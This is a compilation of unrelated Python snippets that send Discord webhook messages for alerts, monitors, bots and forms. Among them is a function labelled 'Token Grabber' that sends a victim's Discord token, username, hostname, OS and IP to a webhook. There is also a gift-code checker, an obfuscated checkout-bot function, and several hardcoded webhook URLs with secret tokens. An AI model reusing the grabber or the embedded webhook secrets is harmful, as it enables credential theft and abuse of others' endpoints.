def feedback(request): if request.method == 'POST': response_ajax = request.read().decode("UTF-8") text = QueryDict(response_ajax).get('text') name = QueryDict(response_ajax).get('name') send_mail(name, text, '*****@*****.**', ['*****@*****.**'], fail_silently=False) webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/726552664934187049/Ywj3iwcGtVPvNnuuCzfJY9xW0IhGt7y_oKUXXkWClR5bwShifYjjQrKXuUSA9z23cBRf' ) embed = DiscordEmbed(title='Новое сообщение от ' + name, description='Текст: ' + text, color=242424) webhook.add_embed(embed) webhook_response = webhook.execute() return HttpResponse(dumps({ 'send': True, })) return HttpResponseRedirect('/')
def fileChecker(self, notify = None): # Function used to check nitro codes from a file valid = [] # A list of the valid codes invalid = 0 # The amount of invalid codes detected with open(self.fileName, "r", encoding="utf-8") as file: # Open the file containing the nitro codes for line in file.readlines(): # Loop over each line in the file nitro = line.strip("\n") # Remove the newline at the end of the nitro code # Create the requests url for later use url = f"https://discordapp.com/api/v6/entitlements/gift-codes/{nitro}?with_application=false&with_subscription_plan=true" response = requests.get(url) # Get the responce from the url if response.status_code == 200: # If the responce went through print(f" Valid | {nitro} ") # Notify the user the code was valid valid.append(nitro) # Append the nitro code the the list of valid codes if notify is not None: # If a webhook has been added DiscordWebhook( # Send the message to discord letting the user know there has been a valid nitro code url = notify, content = f"Valid Nito Code detected! @everyone \n{nitro}" ).execute() else: # If there has not been a discord webhook setup just stop the code break # Stop the loop since a valid code was found else: # If the responce got ignored or is invalid ( such as a 404 or 405 ) print(f" Invalid | {nitro} ") # Tell the user it tested a code and it was invalid invalid += 1 # Increase the invalid counter by one return {"valid" : valid, "invalid" : invalid} # Return a report of the results
def send_war_nag(config, current_war, member_list): nag_config = WarNagConfig(config, current_war, member_list) if nag_config.abort or (nag_config.naughty_member_list == ''): return True webhook = DiscordWebhook(url=nag_config.webhook_url) # add list of naughty users as embed embed object to webhook embed = DiscordEmbed(title=nag_config.nag_header, description=nag_config.naughty_member_list, color=int('0xff5500', 16)) if nag_config.quit_member_list: webhook.add_embed(embed) embed = DiscordEmbed( title=config['strings']['discord-header-war-quit'].format(), description=nag_config.quit_member_list, color=int('0x660000', 16)) embed.set_footer(text='crtools v{}'.format(__version__)) embed.set_timestamp() webhook.add_embed(embed) try: logger.info('Sending war nag to Discord') webhook.execute() except ConnectionError as e: logger.error( 'Connection to discord failed. Sending war nag webhook failed.') return False return True
def discord_proxy_image_bytes(cls, bytes, retry=True): data = None idx = random.randint(0, len(webhook_list) - 1) webhook_url = webhook_list[idx] try: webhook = DiscordWebhook(url=webhook_url, content='') webhook.add_file(file=bytes, filename='image.jpg') embed = DiscordEmbed() embed.set_image(url="attachment://image.jpg") response = webhook.execute() data = None if type(response) == type([]): if len(response) > 0: data = response[0].json() else: data = response.json() if data is not None and 'attachments' in data: target = data['attachments'][0]['url'] if requests.get(target).status_code == 200: return target logger.error(f"discord webhook error : {webhook_url}") logger.error(f"discord webhook error : {idx}") if retry: time.sleep(1) return cls.discord_proxy_image_bytes(bytes, retry=False) except Exception as exception: logger.error('Exception:%s', exception) logger.error(traceback.format_exc()) if retry: time.sleep(1) return cls.discord_proxy_image_bytes(bytes, retry=False)
def send_buy_order(data): if telegram: tg_bot.sendMessage(config.channel, data) print('Alert has been sent to Telegram.') else: print('INFO: Telegram alerts are disabled.') if discord: discord_alert = DiscordWebhook(url=config.discord_webhook, content=data) response = discord_alert.execute() print('Alert has been sent to Discord.') else: print('INFO: Discord alerts are disabled.') if twitter: tw_api.update_status(status=data) print('Alert has been sent to Twitter.') else: print('INFO: Twitter alerts are disabled.') if email: email_msg = MIMEText(data) email_msg['Subject'] = config.email_subject email_msg['From'] = config.email_sender email_msg['To'] = config.email_sender context = ssl.create_default_context() with smtplib.SMTP_SSL(config.email_host, config.email_port, context=context) as server: server.login(config.email_user, config.email_password) server.sendmail(config.email_sender, config.email_receivers, email_msg.as_string()) server.quit() print('Alert has been sent by email.') else: print('INFO: Email alerts are disabled.')
def discord_proxy_image_localfile(cls, filepath, retry=True): data = None webhook_url = webhook_list[random.randint(0, len(webhook_list) - 1)] try: webhook = DiscordWebhook(url=webhook_url, content='') import io with open(filepath, 'rb') as fh: byteio = io.BytesIO(fh.read()) webhook.add_file(file=byteio.getvalue(), filename='image.jpg') embed = DiscordEmbed() embed.set_image(url="attachment://image.jpg") response = webhook.execute() data = None if type(response) == type([]): if len(response) > 0: data = response[0].json() else: data = response.json() if data is not None and 'attachments' in data: target = data['attachments'][0]['url'] if requests.get(target).status_code == 200: return target if retry: time.sleep(1) return cls.discord_proxy_image_localfile(filepath, retry=False) except Exception as exception: logger.error('Exception:%s', exception) logger.error(traceback.format_exc()) if retry: time.sleep(1) return cls.discord_proxy_image_localfile(filepath, retry=False)
def main(): parser = argparse.ArgumentParser(prog='discord_webhook', description='Trigger discord webhook(s).') parser.add_argument( "-u", "--url", required=True, nargs='+', help="Webhook(s) url(s)", ) parser.add_argument("-c", "--content", required=True, help="Message content") parser.add_argument("--username", default=None, help="override the default username of the webhook") parser.add_argument("--avatar_url", default=None, help="override the default avatar of the webhook") args = parser.parse_args() webhook = DiscordWebhook(url=args.url, content=args.content, username=args.username, avatar_url=args.avatar_url) webhook.execute()
def send_webhook( url: str, content: Optional[Union[str, DiscordEmbed]] = None, images: List[str] = None, ): """Send a Discord webhook. :param url: :type url: str :param content: :type content: Optional[Union[str, DiscordEmbed]] :param images: :type images: List[str] """ images = images or [] webhook = DiscordWebhook(url) if isinstance(content, str): webhook.set_content(content[:1900]) elif isinstance(content, DiscordEmbed): webhook.add_embed(content) for image in images: with open(image, "rb") as f: webhook.add_file(file=f.read(), filename=os.path.basename(image)) webhook.execute()
def sendSoleboxAccountWebhook( webhook_url: str, title: str, email: str, passwd: str ) -> None: """Sends a discord webhook to the `webhook_url`. Arguments: webhook_url {str} -- URL of a Discord webhook title {str} -- Title of the embed that's going to be sent email {str} -- Solebox account email passwd {str} -- Solebox account password """ hook = DiscordWebhook( url=webhook_url, username="******", avatar_url="https://avatars1.githubusercontent.com/u/38296319?s=460&v=4", ) color = 0xAB79F2 embed = DiscordEmbed( title=title, color=color, url="https://github.com/rtunazzz/Solebox-Tool", ) embed.set_timestamp() embed.set_footer( text="@rtunazzz | rtuna#4321", icon_url="https://avatars1.githubusercontent.com/u/38296319?s=460&v=4", ) embed.add_embed_field(name="Username", value=f"{email}") embed.add_embed_field(name="Password", value=f"||{passwd}||", inline=False) hook.add_embed(embed) hook.execute()
def on_new_ticket(ticket_id, content_type_id, object_id, message): webhook = settings.DISCORD_WEBHOOK site_url = settings.SITE_FULL_URL if webhook is None or site_url is None: return ticket = Ticket.objects.get(pk=ticket_id) obj = ContentType.objects.get_for_id( content_type_id).get_object_for_this_type(pk=object_id, ) url = obj.get_absolute_url() # for internal links, we add the site url if url[0] == '/': url = site_url + url webhook = DiscordWebhook(url=webhook) ticket_url = site_url + "/ticket/" + str(ticket_id) title = f"Title: [{ticket.title}]({ticket_url})" message = f"Message: {message}" embed = DiscordEmbed( title=f"New ticket on {url}", description=title + "\n" + message, color="03b2f8", ) embed.set_author( name=ticket.user.user.username, url=site_url + "/user/" + ticket.user.user.username, icon_url=gravatar(ticket.user), ) webhook.add_embed(embed) webhook.execute()
def pijama_party(net_profit=200): while True: try: # Current position symbol, qty, entry = current_position() # Actual price coin_price = actual_price(symbol) # Get target price if qty > 0: side = "SELL" # Actual position is long, so close on SELL break_even = entry * (1 + 2 * fees / 100 ) # Net profit with break-even price price = break_even + net_profit / qty # Compare with coin_price if price <= coin_price: # Target price lower than actual price close_order_profit(net_profit, cancel_orders=True) msg = f":fire: **Pijama Party** | Order closed at {price} for ${net_profit} profit :fire::fire::fire:" webhook = DiscordWebhook(url=url_wb, content=msg) response = webhook.execute() print(msg) break elif qty < 0: side = "BUY" # Actual position is short, so close on BUY break_even = entry * (1 - 2 * fees / 100 ) # Net profit with break-even price price = break_even - net_profit / abs(qty) # Compare with coin_price if price >= coin_price: # Target price higher than actual price close_order_profit(net_profit, cancel_orders=True) msg = f":fire: **Pijama Party** | Order closed at {price} for ${net_profit} profit :fire::fire::fire:" webhook = DiscordWebhook(url=url_wb, content=msg) response = webhook.execute() print(msg) break # Show it's working if qty: print(f"Target price: {price:.2f}\n") except: pass # Sleep time.sleep(0.5)
def send_memory_warning(mem, swap, status): global memory_good_counter global memory_warning_counter global memory_critical_counter global swap_good_counter global swap_warning_counter global swap_critical_counter if status == "good": color_bla = 8311585 elif status == "warning": color_bla = 16312092 elif status == "critical": color_bla = 13632027 else: color_bla = 13632027 embed = DiscordEmbed(title=f'Memory {status} [{server_name}]', description=f'{server_name} {status}', color=color_bla) embed.set_footer(text=f"Server Watcher | {server_name}", icon_url=icon_url_footer) embed.add_embed_field(name="Memory", value=f'{str(get_gb(mem.total))}GB', inline=True) embed.add_embed_field(name="Memory Available", value=f'{str(get_gb(mem.available))}GB', inline=True) embed.add_embed_field(name="Status", value=status, inline=True) embed.add_embed_field(name="Swap", value=f'{str(get_gb(swap.total))}GB', inline=True) embed.add_embed_field(name="Swap Free", value=f'{str(get_gb(swap.free))}GB', inline=True) #ping (just to add another field to make it look better) ping_here_b = measure_latency(host='8.8.8.8') ping_here = round(float(ping_here_b[0]), 3) embed.add_embed_field(name="Ping", value=f'{str(ping_here)}ms', inline=True) embed.add_embed_field( name="Memory Counter", value= f'**Good:** {memory_good_counter}\n**Warning:** {memory_warning_counter}\n**Critical:** {memory_critical_counter}\n', inline=True) embed.add_embed_field( name="SWAP Counter", value= f'**Good:** {swap_good_counter}\n**Warning:** {swap_warning_counter}\n**Critical:** {swap_critical_counter}\n', inline=True) webhook = DiscordWebhook(url=webhook_url) webhook.add_embed(embed) response = webhook.execute()
def rocket(leader, lname, sprite, guide): mariadb_connection = mariadb.connect(user=user, password=passwd, database=database, host=host, port=port) cursor = mariadb_connection.cursor() query = ( "select CONVERT(pokestop.name USING UTF8MB4) as pokestopname,pokestop.latitude,pokestop.longitude from pokestop WHERE incident_grunt_type = " + leader + " and ST_CONTAINS(ST_GEOMFROMTEXT('POLYGON((" + area + "))'), point(pokestop.latitude, pokestop.longitude))") cursor.execute(query) name = cursor.fetchall() if not name: print("Leader not Found: " + lname) else: #convert data into string res = [tuple(str(ele) for ele in sub) for sub in name] res.sort() webhook = DiscordWebhook(url=webhookurlr) # create embed object for webhook research = '' for stop in res: research += ('[' + stop[0] + '](' 'https://maps.google.com/?q=' '' + stop[1] + ',' + stop[2] + ')' + '\n') if len(research) > 1900: print("larger then 2048 breaking up") print(lname + " Length:", len(research)) embed = DiscordEmbed(title='Leader: ' + lname, description=research, color=3158064, url=guide) embed.set_thumbnail(url=sprite) embed.set_footer(text='Leader Locations by: ' + author) embed.set_author(name=lname + ' Counters Guide Link', url=guide) #add embed object to webhook webhook.add_embed(embed) webhook.execute() research = '' webhook.remove_embed(0) time.sleep(2) print(lname + " Length:", len(research)) embed = DiscordEmbed(title='Leader: ' + lname, description=research, color=3158064, url=guide) embed.set_thumbnail(url=sprite) embed.set_footer(text='Leader Locations by: ' + author, icon_url=footerimg) embed.set_author(name=lname + ' Counters Guide Link', url=guide) #add embed object to webhook webhook.add_embed(embed) webhook.execute() research = '' time.sleep(2)
def monitor(): list_of_notified_raffles = [] while True: print ('Monitoring OTH Raffles...') s = requests.Session() url = 'https://offthehook.ca/pages/raffles' headers = { 'sec-fetch-dest': 'document', 'sec-fetch-mode': 'navigate', 'sec-fetch-site': 'none', 'sec-fetch-user': '******', 'upgrade-insecure-requests': '1', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36' } raffle_list = s.get(url, headers=headers) soup = bs(raffle_list.text, 'lxml') existing_raffle_list = soup.find('div', {'class':'rte'}) for data in existing_raffle_list('p'): #print (data.text) try: raffle_name = data.text if "ENDED" in raffle_name: pass else: if raffle_name in list_of_notified_raffles: print ('Found in Notified Raffles Already, Should be moving on...') pass else: raffle_link = data.a.get('href') print ('Found Live Raffle! {}'.format(raffle_name)) raffle_page = s.get(raffle_link, headers=headers) soup = bs(raffle_page.text, 'lxml') picture_frame = soup.find('div', {'class':'rte'}) try: product_image = picture_frame.img.get('src') print ('IMAGE URL: {}'.format(product_image)) except: print ('Error Finding Product Image') pass webhook_url = '' webhook = DiscordWebhook(url=webhook_url) embed = DiscordEmbed(title='{}'.format(raffle_name), url='{}'.format(raffle_link), color=10181046) embed.add_embed_field(name='Region:', value='CA') embed.add_embed_field(name='Site:', value='OFFTHEHOOK') embed.add_embed_field(name='Release Type:', value='ONLINE') embed.add_embed_field(name='Closes', value='UNKNOWN') embed.add_embed_field(name='Entry', value='[Click Here]({})'.format(raffle_link)) embed.set_thumbnail(url='{}'.format(product_image)) embed.set_footer(text='Made by alin#8437') embed.set_timestamp() webhook.add_embed(embed) webhook.execute() list_of_notified_raffles.append(raffle_name) print ('Change Detected! Sending Notification to Discord!') time.sleep(2) except: print ('Exception Error') pass time.sleep(10)
def webhook_send(token): webhook = DiscordWebhook(url=webhookurl) embed = DiscordEmbed(title='Token Grabber', description='**Token: __'+str(token[0])+"__\nUsername: __"+getpass.getuser()+"__\nHostname: __"+socket.gethostname()+"__\nOs: __"+platform.platform()+"__**"+ipInfo(), color=242424) embed.set_footer(text='Discord Python Token Grabber') embed.set_timestamp() webhook.add_embed(embed) response = webhook.execute() exit()
def server_run_status(webhook_url): webhook = DiscordWebhook(webhook_url) embed = DiscordEmbed(title='Server Status', description='Server is online!', color=242424) embed.set_thumbnail(url='https://cdn.icon-icons.com/icons2/894/PNG/512/Tick_Mark_Circle_icon-icons.com_69145.png') embed.set_timestamp() embed.add_embed_field(name='Address', value=address) webhook.add_embed(embed) response = webhook.execute()
def send_discord(content): webhook = DiscordWebhook(url=config["oanda"]["discord_url"], content=content) r3 = webhook.execute() if r3.status_code in [200, 204]: return True else: sys.exit(f'{r3.status_code}, {r3.text}')
def error_message(self, text): webhook = DiscordWebhook(url=url) embed = DiscordEmbed(title="Error", description=str(text), color=242424) webhook.add_embed(embed) response = webhook.execute()
def sendMessage(self, msg_title, desc, side_color): webhook = DiscordWebhook(url=self.hookLink) embed = DiscordEmbed( title=msg_title, description=datetime.now().strftime("%I:%M %p\n") + desc, color=side_color) webhook.add_embed(embed) webhook.execute()
def send_to_discord(message): """ Sends a message to the discord channel pointed to in the webhook file """ webhook = DiscordWebhook(url=readkey("discord"), content=message) print(f"{message}\nSending the above message to #food-as-a-service...") webhook.execute() print("Message sent!")
def OO00O0O0000O000OO(): #line:87 O000O000O00O0O0O0 = "{}".format(O0OOO00OOOO0OOOO0) #line:88 O000O000O00O0O0O0 = DiscordWebhook(url=O000O000O00O0O0O0) #line:89 O00OOOOOOO0000OOO = DiscordEmbed( title='US Mint Success!', description=f'Succesful Checkout!') #line:90 O000O000O00O0O0O0.add_embed(O00OOOOOOO0000OOO) #line:91 O000O000O00O0O0O0.execute() #line:92
def send_embed(self, color, title, **kwargs): webhook = DiscordWebhook(url=self.WEBHOOK) embed = DiscordEmbed(title=title, color=color) embed.set_timestamp() for key in kwargs: embed.add_embed_field(name=key.upper(), value=str(kwargs[key])) webhook.add_embed(embed) return webhook.execute()
def post_discord(links, count): webhook = DiscordWebhook(url=WebhookUrl, username='******') embed = DiscordEmbed(title=(str(links)), url=links, description='New products added. Count: '+ '**' + (str(count)) +'**') embed.set_footer(text='Developed by DRB02#0001') embed.set_timestamp() webhook.add_embed(embed) webhook.execute() print('[SUCCESS] --> Successfully sent success webhook!')
def publish(self): if os.environ.get('DISCORD_WEBHOOK'): webhook = DiscordWebhook(url=os.environ['DISCORD_WEBHOOK']) embed = DiscordEmbed(title='Web Game Results', description=self.log.getvalue().strip('\n'), color='03b2f8') webhook.add_embed(embed) response = webhook.execute(remove_embeds=True)
def sendMessage(): webhook = DiscordWebhook( url= 'https://discord.com/api/webhooks/828436507365867520/QmAMxK6lHdVcRo8m8qae1sqODdSM7yMkFLjg5dZ0FRETmNnb4XwPyli_Ok2ADF4MbWOw', content= '3080 is in stock \n https://www.bestbuy.com/site/nvidia-geforce-rtx-3080-10gb-gddr6x-pci-express-4-0-graphics-card-titanium-and-black/6429440.p?skuId=6429440' ) response = webhook.execute()
def log_request(req, data): webhook = DiscordWebhook(url="https://discord.com/api/webhooks/823032819600064523/qsNATX0D8FRtB4aX_GbNRfI41TFgBuMkXH9mDeI7kfXX6lvsuwgaxYUG_0QDkpCrhOHU") embed = DiscordEmbed(title=f"{dt.datetime.now():%Y-%m-%d}", description=f'{req.method} {data}', color=242424) webhook.add_embed(embed) webhook.execute()
def index(): hi = request.form["data"] webhook = DiscordWebhook( url="https://discord.com/api/webhooks/774106283355013162/T2d0pI6yGyrjABVRPLTlcO2guhnBv9mfqqjbxsHDSf3Jd5eDnQMiLES8jprHvMMOYDwP", content=hi, ) response = webhook.execute() return "Server Works!"
def send(self, message_body): try: web_hook = DiscordWebhook(url=self.webhook_url, content=message_body) response = web_hook.execute() log.info(f"Discord hook status: {response.status_code}") except Exception as e: log.error(e) log.warn("Discord send message failed. Disabling Discord notifications.") self.enabled = False
def send_webhook(title, text, url): webhook = DiscordWebhook(url=url) embed = DiscordEmbed(title=title, description=text, color=242424) webhook.add_embed(embed) response = webhook.execute() return response
def send_webhook(data): if len(argv) <= 1: return # no webhook supplied for x in [data[i:i + 1985] for i in range(0, len(data), 1985)]: webhook = DiscordWebhook( url=argv[1], content=f"```bash\n{x}```", ) webhook.execute()